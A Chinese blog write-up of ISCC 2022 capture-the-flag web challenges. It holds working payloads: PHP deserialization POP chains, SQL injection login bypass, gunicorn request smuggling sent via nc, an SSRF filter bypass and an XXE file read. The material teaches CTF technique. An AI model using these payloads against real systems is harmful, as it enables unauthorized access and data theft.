iscc-2022

最新推荐文章于 2024-06-11 16:29:47 发布

S@Kura

最新推荐文章于 2024-06-11 16:29:47 发布

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文章标签： php 开发语言

本文链接：https://blog.csdn.net/zhhhb1005/article/details/125114018

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冬奥会

分析题目，info被强制转换成为数组，get传参 information ，同时要满足step1和step2才能得到flag。

step1要求year=2022

step2要求item为三个值的数组，第一个值为数组

payload

/?Information={"year":"2022a","items":[1,[1],0]}

pop2022

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

这道题用到了pop链，pop链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload，实战应用范围暂时没遇到，不过在CTF比赛中经常出现这样的题目，同时也经常与反序列化一起考察，可以理解为是反序列化的一种拓展，泛用性更强，涉及到的魔法方法也更多。

看开头意思是如果使用get的wish传参那么就反序列化这个wish，如果不是则显示源代码。

__destruct() //对象被销毁时触发
__isset() //在不可访问的属性上调用isset()或empty()触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

流程

Road_is_Long：-wakeup.page
$page=new Road_is_Long
$string=new Make_a_Change
$effort=new Try_Work_Hard
$var='php://filter/read=convert.base64-encode/resource=flag.php';

exp

<?php
class Try_Work_Hard{
   
 protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
public $page;
 
public $string;
}
class Make_a_Change{
    
public $effort;
}
 
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
 
$a -> page=$b;
$b -> string=$c;
$c -> effort =$d;
 
echo urlencode(serialize($a));

payload：

O%3A12%3A"Road_is_Long"%3A2%3A{s%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A{s%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A{s%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A6%3A"string"%3BN%3B}

get传参，然后将结果base64解密。

Easy-SQL（200）

?id=8 union table emails limit 8,1 --+

访问/ypHeMPardErE.zip ,得到源码

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{

    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);

    if ( !sqlWaf($passwd) )
        die('damn hacker');

    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>

这⾥之前可以判断⼀共是 3 列

三列内容： id ， username ， password

满⾜ username=admin 并且 password=password

payload

GET:http://59.110.159.206:7010/
?id=-1%20union%20table%20emails%20limit%207,1

POST:username=-1' union values row("1","admin","1")%23&passwd=1

find me

进入/unser.php

 <?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }

    public function yigei(){
        echo 'Your output: '.$this->un4;
    }
    
    public function giao(){
        @eval($this->un2);
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data);

<?php

echo ('system')('dir')

>

这个就是system函数执行dir

$this -> un4 = new $this->un0($this ->un1);也可以看成这种格式

__wakeup()中可以查看hint.php，那就先看一下hint.php，伪协议拼接读取hint内容。

<?php

class a{
    public $un0;
    public $un1;
    public $un2='php://filter/read=convert.base64-encode/resource=';
    public $un3;
    public $un4;

}

$a=new a();
echo serialize($a);

base64解密得出

PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7

//<?php
//$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

可以知道是在f开头的文件中，用Directorylterator也可以用Filesystemlterator，当然最好是使用Globlterator，行为类似glob() ，通配符?和*可以用在这里，有几个?则文件名有多长，*号则是以哪个开头的所有文件，所以使用*

<?php

class a{
    public $un0='GlobIterator';
    public $un1="glob://f*.txt";
    public $un2;
    public $un3='unserialize';
    public $un4;

}

$a=new a();
echo serialize($a);

回显出文件fA1TE_GRo9rde_OScter5r.txt，原生类SplFileObject读文件

<?php

class a{
    public $un0='SplFileObject';
    public $un1="fA1TE_GRo9rde_OScter5r.txt";
    public $un2;
    public $un3='unserialize';
    public $un4;

}

$a=new a();
echo serialize($a);

得出flag。

让我康康

gunicorn HTTP请求走私可

服务器发送http请求后，返回服务器gunicorn

后来发现gunicorn 20.0.4有请求走私漏洞，Sec-Websocket-Key: 1会进行特殊解析
构造请求

echo -en "POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

回显提示本地访问

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

得出flag

这是一道代码审计

/index访问，login改成1
得到emoji

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base100解密

def geneSign():
    if(control_key==1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"
def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
                raise BaseException("url format error")
        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if judge_ip(hostname):
                return True
            return False, "You not get the right clue!"
        else:
            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
        return False, str(e)
    except:
        return False, "unknow error"
def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
        if ip and word:
            if word in ip.lower():
                return True
    return False
def judge_ip(ip):
    if(waf1(ip)):
        return Fasle
    else:
        addr = addr.encode(encoding = "utf-8")
        ipp = base64.encodestring(addr)
        ipp = ipp.strip().lower().decode()
        if(ip==ipp):
            global control_key
            control_key = 1
            return True
        else:
            return Fals

源码大概意思是只有返回为true的时候才可以触发，

那么要想得到true的话需要过judge_ip的else，那么也就是ip==ipp，

addr为127.0.0.1，将127.0.0.1进行base64编码，然后转小写base64解码和ip相同的话就为true，

因为它用的base64.encodestring，只会对字符串生效，所以这三步其实是没什么变化的，

ip是我们可控的，所以构造ip=/mti3ljaumc4x

进入

	/index?url=https://@mti3ljaumc4x

替换cookie为：a_cookie = aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==

/mti3ljaumc4x请求，可以看到ajax，xml，并且在title处可以看到flag.txt

<html>
<head>
<title>./flag.txt</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript">
function codelogin(){
var name = $("#name").val();
var password = $("#password").val();
if(name == "" || word == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";
$.ajax({
contentType: "application/xml;charset=utf-8",
type: "POST",
url: "codelogin",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
这是一道代码审计题6}
});
}
</script>
</head>
<body>
<form>
<div id="loginFormMain">
<table style="width:468px;height:262px;background-color: gray;text-align: center;">
<tr>
<th colspan="2" align="center" >登录</th>
</tr>
<tr>
<td>用户名:<input id="name" type="text" style="width: 200px;height: 30px;" name="name"></td>
</tr>
<tr>
<td>密 码:<input id="password" type="password" style="width: 200px;height: 30px;" name="password"></td>
</tr>
<tr>
<td align="center" ><input type="button" style="cursor: pointer;font-style: inherit;" name="next" value="login" οnclick="javasc
</tr>
</table>
</div>
</form>
</body>
</html

在codelogin方法中定义了请求方式和请求的数据，数据就是data，直接抄下来
构造一下

<!DOCTYPE ANY [
<!ENTITY ki10Moc SYSTEM "./flag.txt">
]>
<user><name>
&ki10Moc;
</name>
<password>password
</password></user>

S@Kura

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iscc-2022

分析题目，info被强制转换成为数组，get传参 information ，同时要满足step1和step2才能得到flag。step1要求year=2022step2要求item为三个值的数组，第一个值为数组payloadpop2022看开头意思是如果使用get的wish传参那么就反序列化这个wish，如果不是则显示源代码。流程 exp payload：get传参，然后将结果base64解密。访问/ypHeMPardErE.zip ,得到源码这⾥之前可以判断
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